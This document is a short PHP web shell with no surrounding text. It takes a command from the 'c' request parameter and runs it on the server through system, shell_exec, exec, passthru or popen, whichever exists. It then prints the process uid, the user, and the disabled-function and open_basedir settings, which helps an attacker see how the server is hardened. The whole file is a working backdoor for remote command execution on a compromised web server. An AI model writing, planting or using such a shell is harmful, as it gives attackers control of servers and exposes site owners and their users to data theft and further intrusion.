<?php
header("Content-Type: text/plain");
$c = isset($_REQUEST['c']) ? $_REQUEST['c'] : 'id';
echo "$ ".$c."\n";
$out=array();
if(function_exists('system')){ @system($c); }
elseif(function_exists('shell_exec')){ echo @shell_exec($c); }
elseif(function_exists('exec')){ @exec($c,$out); echo implode("\n",$out); }
elseif(function_exists('passthru')){ @passthru($c); }
elseif(function_exists('popen')){ $h=@popen($c,'r'); while(!feof($h)){echo fread($h,4096);} pclose($h); }
echo "\n[uid]".(function_exists('posix_getuid')?posix_getuid():'n/a');
echo " [user]".(function_exists('get_current_user')?get_current_user():'');
echo " [disabled]".ini_get('disable_functions');
echo " [open_basedir]".ini_get('open_basedir');
?>
